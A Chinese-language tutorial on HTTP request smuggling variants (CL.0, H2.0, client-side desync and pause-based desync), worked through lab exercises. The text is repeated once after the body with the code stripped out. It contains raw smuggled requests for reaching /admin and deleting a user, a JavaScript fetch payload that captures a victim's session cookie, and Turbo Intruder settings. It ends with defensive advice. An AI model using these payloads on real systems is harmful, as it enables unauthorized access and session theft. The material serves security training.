请求走私利用扩展(终结篇)
字数 1095 2025-08-18 17:33:42

HTTP请求走私利用扩展(终结篇) - 深入解析与实战指南

文章前言

本文是HTTP请求走私系列的终结篇,将深入探讨几种特殊的请求走私技术,包括CL.0请求走私、H2.0走私和客户端去同步化攻击(CSD),以及基于暂停的CSD攻击。这些技术扩展了传统请求走私的攻击面,即使在单服务器环境中也可能存在风险。

CL.0请求走私

基本概念

CL.0请求走私是指后端服务器完全忽略Content-Length头,将其视为0的情况。当前端服务器仍然使用Content-Length头确定请求边界时,攻击者可以利用这种解析差异实施走私攻击。

漏洞检测方法

  1. 发送包含走私前缀的POST请求:

    POST /vulnerable-endpoint HTTP/1.1
    Host: vulnerable-website.com
    Connection: keep-alive
    Content-Length: 34
    
    GET /hopefully404 HTTP/1.1
    Foo: x
    
  2. 发送正常后续请求

  3. 观察响应:如果第二个请求返回404,则存在CL.0漏洞

靶场实战演示

目标:利用CL.0走私访问/admin管理面板并删除用户carlos

  1. 修改GET请求为POST,添加走私前缀:

    POST /resources/images/blog.svg HTTP/1.1
    Host: target.com
    Connection: keep-alive
    Content-Length: 27
    
    GET /admin HTTP/1.1
    Foo: x
    
  2. 构造删除用户请求:

    POST /resources/images/blog.svg HTTP/1.1
    Host: target.com
    Connection: keep-alive
    Content-Length: 50
    
    GET /admin/delete?username=carlos HTTP/1.1
    Foo: x
    

H2.0走私

H2.0走私是HTTP/2降级攻击的变种,当后端服务器忽略降级后请求的Content-Length头时产生。攻击原理与CL.0类似,但发生在HTTP/2降级为HTTP/1.1的场景中。

客户端去同步化攻击(CSD)

基本概念

CSD攻击使受害者的浏览器与易受攻击网站连接不同步,不同于传统请求走私的前端-后端不同步。攻击流程:

  1. 受害者访问含恶意JavaScript的网页
  2. JavaScript发起包含恶意前缀的请求
  3. 服务器响应后,恶意前缀保留在连接中
  4. JavaScript触发后续请求,附加到恶意前缀

靶场实战演示

目标:窃取受害者的会话cookie

  1. 确认服务器忽略Content-Length:

    GET / HTTP/1.1
    Host: target.com
    Content-Length:110
    
  2. 构造CSD攻击向量:

    fetch('https://target.com', {
      method: 'POST',
      body: 'POST /en/post/comment HTTP/1.1\r\nHost: target.com\r\nCookie: [受害者的cookie]\r\nContent-Length: 300\r\n...',
      mode: 'cors',
      credentials: 'include',
    }).catch(() => {
      fetch('https://target.com/capture-me', {
        mode: 'no-cors',
        credentials: 'include'
      })
    })
    
  3. 调整Content-Length捕获完整cookie

基于暂停的CSD攻击

基本原理

当服务器配置读取超时但保持连接开放时,攻击者可以通过暂停请求传输来制造解析差异:

  1. 前端立即转发每个字节到后端
  2. 前端不先于后端超时
  3. 后端超时后保持连接开放

靶场实战演示

目标:利用暂停技术访问/admin删除用户

  1. 构造暂停攻击请求:

    POST /resources HTTP/1.1
    Host: target.com
    Connection: keep-alive
    Content-Length: 159
    
    POST /admin/delete/ HTTP/1.1
    Host: localhost
    Content-Length: 53
    
    csrf=xxx&username=carlos
    
  2. 使用Turbo Intruder设置pauseMarker参数:

    pauseMarker=['Content-Length: CORRECT\r\n\r\n']
    

防御建议

  1. 禁用连接重用
  2. 前后端使用相同HTTP协议版本
  3. 严格验证Content-Length和Transfer-Encoding头
  4. 配置合理的超时时间
  5. 实施Web应用防火墙规则检测异常请求

总结

本文扩展了请求走私的攻击技术面,展示了即使在看似安全的单服务器环境中也可能存在的风险。安全团队应全面测试系统对各种请求走私变种的防护能力,特别是协议降级和客户端攻击场景。

HTTP请求走私利用扩展(终结篇) - 深入解析与实战指南 文章前言 本文是HTTP请求走私系列的终结篇,将深入探讨几种特殊的请求走私技术,包括CL.0请求走私、H2.0走私和客户端去同步化攻击(CSD),以及基于暂停的CSD攻击。这些技术扩展了传统请求走私的攻击面,即使在单服务器环境中也可能存在风险。 CL.0请求走私 基本概念 CL.0请求走私是指后端服务器完全忽略Content-Length头,将其视为0的情况。当前端服务器仍然使用Content-Length头确定请求边界时,攻击者可以利用这种解析差异实施走私攻击。 漏洞检测方法 发送包含走私前缀的POST请求: 发送正常后续请求 观察响应:如果第二个请求返回404,则存在CL.0漏洞 靶场实战演示 目标 :利用CL.0走私访问/admin管理面板并删除用户carlos 修改GET请求为POST,添加走私前缀: 构造删除用户请求: H2.0走私 H2.0走私是HTTP/2降级攻击的变种,当后端服务器忽略降级后请求的Content-Length头时产生。攻击原理与CL.0类似,但发生在HTTP/2降级为HTTP/1.1的场景中。 客户端去同步化攻击(CSD) 基本概念 CSD攻击使受害者的浏览器与易受攻击网站连接不同步,不同于传统请求走私的前端-后端不同步。攻击流程: 受害者访问含恶意JavaScript的网页 JavaScript发起包含恶意前缀的请求 服务器响应后,恶意前缀保留在连接中 JavaScript触发后续请求,附加到恶意前缀 靶场实战演示 目标 :窃取受害者的会话cookie 确认服务器忽略Content-Length: 构造CSD攻击向量: 调整Content-Length捕获完整cookie 基于暂停的CSD攻击 基本原理 当服务器配置读取超时但保持连接开放时,攻击者可以通过暂停请求传输来制造解析差异: 前端立即转发每个字节到后端 前端不先于后端超时 后端超时后保持连接开放 靶场实战演示 目标 :利用暂停技术访问/admin删除用户 构造暂停攻击请求: 使用Turbo Intruder设置pauseMarker参数: 防御建议 禁用连接重用 前后端使用相同HTTP协议版本 严格验证Content-Length和Transfer-Encoding头 配置合理的超时时间 实施Web应用防火墙规则检测异常请求 总结 本文扩展了请求走私的攻击技术面,展示了即使在看似安全的单服务器环境中也可能存在的风险。安全团队应全面测试系统对各种请求走私变种的防护能力,特别是协议降级和客户端攻击场景。